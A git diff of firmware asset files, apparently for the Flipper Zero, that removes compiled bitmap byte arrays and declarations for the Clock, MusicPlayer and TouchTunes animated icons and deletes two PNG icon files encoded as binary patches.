{0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x13,0x81,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_2[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0xC1,0x11,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_3[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x81,0x10,0x09,0x13,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_4[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x41,0x10,0x49,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_5[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x21,0x10,0x19,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_6[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x71,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_7[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x19,0x12,0x21,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t* const _A_Clock_14[] = {_A_Clock_14_0,_A_Clock_14_1,_A_Clock_14_2,_A_Clock_14_3,_A_Clock_14_4,_A_Clock_14_5,_A_Clock_14_6,_A_Clock_14_7}; - const uint8_t _A_Debug_14_0[] = {0x00,0x20,0x01,0xC1,0x20,0x22,0x11,0x24,0x09,0xD9,0x26,0x16,0x1A,0xD8,0x06,0xD8,0x06,0xD6,0x1A,0x19,0x26,0xE4,0x09,0xC2,0x10,0x01,0x20,0x00,0x00,}; const uint8_t _A_Debug_14_1[] = {0x00,0x20,0x01,0xC0,0x00,0x22,0x11,0x25,0x29,0xD8,0x06,0x16,0x1A,0xD9,0x26,0xD8,0x06,0xD4,0x0A,0x12,0x12,0xEA,0x15,0xC5,0x28,0x02,0x10,0x02,0x10,}; const uint8_t _A_Debug_14_2[] = {0x00,0x20,0x01,0xC0,0x00,0x20,0x01,0x24,0x09,0xDA,0x16,0x11,0x22,0xDC,0x0E,0xDA,0x16,0xD9,0x26,0x14,0x0A,0xF2,0x13,0xD1,0x22,0x08,0x04,0x06,0x18,}; @@ -382,13 +372,6 @@ const uint8_t _A_Infrared_14_4[] = {0x01,0x00,0x0e,0x00,0x00,0x5f,0x82,0x02,0x05 const uint8_t _A_Infrared_14_5[] = {0x01,0x00,0x15,0x00,0x00,0x2f,0xc2,0x07,0x08,0x82,0x01,0x47,0xc1,0x01,0x05,0x98,0x14,0x41,0xa3,0xf8,0x83,0x80,0x47,0xff,0x3f,}; const uint8_t* const _A_Infrared_14[] = {_A_Infrared_14_0,_A_Infrared_14_1,_A_Infrared_14_2,_A_Infrared_14_3,_A_Infrared_14_4,_A_Infrared_14_5}; -const uint8_t _A_MusicPlayer_14_0[] = {0x01,0x00,0x17,0x00,0x00,0x1e,0x02,0x01,0xc0,0x80,0xf0,0x20,0x74,0x08,0x15,0x02,0x00,0x01,0x3b,0x84,0x02,0xf0,0x01,0x29,0x80,0x5c,0x80,}; -const uint8_t _A_MusicPlayer_14_1[] = {0x01,0x00,0x16,0x00,0x80,0x41,0x20,0x10,0xe8,0x04,0x7a,0x01,0x12,0x80,0x40,0x80,0x27,0x80,0x81,0xf0,0x00,0x25,0x80,0x80,0x86,0x94,}; -const uint8_t _A_MusicPlayer_14_2[] = {0x01,0x00,0x13,0x00,0x00,0x34,0x82,0x03,0x30,0x81,0xcc,0x20,0x51,0x08,0x00,0x05,0x63,0x90,0x08,0xf0,0x04,0xa1,0x80,}; -const uint8_t _A_MusicPlayer_14_3[] = {0x01,0x00,0x16,0x00,0x82,0x40,0x21,0xd0,0x08,0xf4,0x02,0x25,0x00,0x81,0x00,0x52,0x07,0x20,0x81,0xcc,0x00,0x23,0x01,0x90,0x06,0xd4,}; -const uint8_t _A_MusicPlayer_14_4[] = {0x01,0x00,0x15,0x00,0x00,0x2c,0x82,0x01,0x70,0x80,0x7c,0x20,0x19,0x08,0x04,0x40,0x02,0x91,0xc8,0x04,0x78,0x02,0x50,0xc8,0x00,}; -const uint8_t* const _A_MusicPlayer_14[] = {_A_MusicPlayer_14_0,_A_MusicPlayer_14_1,_A_MusicPlayer_14_2,_A_MusicPlayer_14_3,_A_MusicPlayer_14_4}; - const uint8_t _A_NFC_14_0[] = {0x00,0x00,0x08,0x00,0x10,0x00,0x12,0x00,0x22,0x42,0x24,0x87,0x24,0x8D,0x24,0x99,0x24,0xF1,0x24,0x62,0x24,0x00,0x22,0x00,0x12,0x00,0x10,0x00,0x08,}; const uint8_t _A_NFC_14_1[] = {0x01,0x00,0x1a,0x00,0x80,0x42,0x20,0x11,0x00,0x09,0x48,0x28,0x52,0x0c,0x3c,0x83,0x1b,0x20,0xcc,0xc8,0x3e,0x32,0x0b,0x14,0x80,0x1a,0x21,0x34,0x84,0x00,}; const uint8_t _A_NFC_14_2[] = {0x01,0x00,0x10,0x00,0x00,0x3d,0x0a,0x01,0x87,0x80,0x63,0x60,0x19,0x98,0x07,0xc6,0x01,0x62,0x09,0xc0,}; @@ -449,38 +432,6 @@ const uint8_t _A_Tamagotchi_14_4[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x const uint8_t _A_Tamagotchi_14_5[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x0C,0xF2,0x19,0x5A,0x1A,0xA9,0x32,0x49,0x33,0xF1,0x31,0x01,0x30,0x52,0x39,0x02,0x18,0x0C,0x0E,0xF0,0x07,}; const uint8_t* const _A_Tamagotchi_14[] = {_A_Tamagotchi_14_0,_A_Tamagotchi_14_1,_A_Tamagotchi_14_2,_A_Tamagotchi_14_3,_A_Tamagotchi_14_4,_A_Tamagotchi_14_5}; -const uint8_t _A_TouchTunes_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; -const uint8_t _A_TouchTunes_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; -const uint8_t _A_TouchTunes_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; -const uint8_t _A_TouchTunes_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_TouchTunes_14_12[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_TouchTunes_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_TouchTunes_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; -const uint8_t _A_TouchTunes_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; -const uint8_t _A_TouchTunes_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; -const uint8_t _A_TouchTunes_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; -const uint8_t _A_TouchTunes_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_29[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t* const _A_TouchTunes_14[] = {_A_TouchTunes_14_0,_A_TouchTunes_14_1,_A_TouchTunes_14_2,_A_TouchTunes_14_3,_A_TouchTunes_14_4,_A_TouchTunes_14_5,_A_TouchTunes_14_6,_A_TouchTunes_14_7,_A_TouchTunes_14_8,_A_TouchTunes_14_9,_A_TouchTunes_14_10,_A_TouchTunes_14_11,_A_TouchTunes_14_12,_A_TouchTunes_14_13,_A_TouchTunes_14_14,_A_TouchTunes_14_15,_A_TouchTunes_14_16,_A_TouchTunes_14_17,_A_TouchTunes_14_18,_A_TouchTunes_14_19,_A_TouchTunes_14_20,_A_TouchTunes_14_21,_A_TouchTunes_14_22,_A_TouchTunes_14_23,_A_TouchTunes_14_24,_A_TouchTunes_14_25,_A_TouchTunes_14_26,_A_TouchTunes_14_27,_A_TouchTunes_14_28,_A_TouchTunes_14_29}; - const uint8_t _A_U2F_14_0[] = {0x00,0x00,0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_1[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08,0x00,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; @@ -793,13 +744,11 @@ const Icon I_KeySave_24x11 = {.width=24,.height=11,.frame_count=1,.frame_rate=0, const Icon A_125khz_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_125khz_14}; const Icon A_BadUsb_14 = {.width=14,.height=14,.frame_count=11,.frame_rate=3,.frames=_A_BadUsb_14}; const Icon A_Bluetooth_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Bluetooth_14}; -const Icon A_Clock_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_Clock_14}; const Icon A_Debug_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_Debug_14}; const Icon A_FileManager_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_FileManager_14}; const Icon A_GPIO_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_GPIO_14}; const Icon A_Games_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Games_14}; const Icon A_Infrared_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Infrared_14}; -const Icon A_MusicPlayer_14 = {.width=14,.height=14,.frame_count=5,.frame_rate=3,.frames=_A_MusicPlayer_14}; const Icon A_NFC_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_NFC_14}; const Icon A_Passport_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Passport_14}; const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Plugins_14}; @@ -807,7 +756,6 @@ const Icon A_Power_14 = {.width=14,.height=14,.frame_count=1,.frame_rate=3,.fram const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Settings_14}; const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; -const Icon A_TouchTunes_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_TouchTunes_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 27e6eaed1..459478802 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -94,13 +94,11 @@ extern const Icon I_KeySave_24x11; extern const Icon A_125khz_14; extern const Icon A_BadUsb_14; extern const Icon A_Bluetooth_14; -extern const Icon A_Clock_14; extern const Icon A_Debug_14; extern const Icon A_FileManager_14; extern const Icon A_GPIO_14; extern const Icon A_Games_14; extern const Icon A_Infrared_14; -extern const Icon A_MusicPlayer_14; extern const Icon A_NFC_14; extern const Icon A_Passport_14; extern const Icon A_Plugins_14; @@ -108,7 +106,6 @@ extern const Icon A_Power_14; extern const Icon A_Settings_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; -extern const Icon A_TouchTunes_14; extern const Icon A_U2F_14; extern const Icon A_iButton_14; extern const Icon I_Detailed_chip_17x13; diff --git a/assets/icons/Dolphin/Flipper_young_80x60.png b/assets/icons/Dolphin/Flipper_young_80x60.png deleted file mode 100644 index 4725aab90846789e5a613fec49a1288c304a526f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 643 zcmV-}0(||6P)y0EK41}v%o5clj`G;{qY#enzz>N*Y%{-8Hr0u~UWsGflC>#xD4>MaH0O`yL-B!$) z&p-y05g~vO7i0}2fZHl1Vn$x2Isp*WETqOCt_pw@_qPT@0tvJah#W))7fyj)fys~$ z#BkOV&!Q|dH%kk3+eJCd39wDNRmh(s3ZN`tr@(L${lhMeq73wNNK4k0&!3z43}l{S z=6!Q^gyjiX;iAkg@%oH6cEco=K{>%0g=)?}q~2k1)5w?#$TQj?0#i`t<94WT5Ge;7 zS$dbNSBBXBeg@A8Yp3f4fx~NR;Z1sz5wy!a6%|}on8rQNP2_#>#L;fddQzz^FO(iv zx<-*m3kox@m-6R{&^4Co9{BAMA9xVwjgp%>Z*%50)l0P_c*qs-6B*W*yg<(brxxX0 z4n#Lc6Y{<@xWzs5LPkWflglQk=*y1y;CEXI>uH^;jTWoa?_$g?K)&yUm6Cf=23+c) zb_RAUS?ATjJ#o4h=@eKHA<5zu(~@v? zvkcoEpM}_2Douk(lSZsWOu(mr3rHK+sxT%@S*g+#UKE~Q-Zvvr_$4A->glv3*StC$ z@4@50A46H>z_)<=cc-_3pD_2QWmgp*#{RY9^d03`;hTOR{3`Mq^C9E>PXb>7{{002 d{K3Cd;D3fJQb|_1G&%qP002ovPDHLkV1f?0B#Zz6 diff --git a/assets/icons/Infrared/Back_15x10.png b/assets/icons/Infrared/Back_15x10.png deleted file mode 100644 index fe9ac5aadfb8653053291fdca4c32010150ac3d3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3600 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 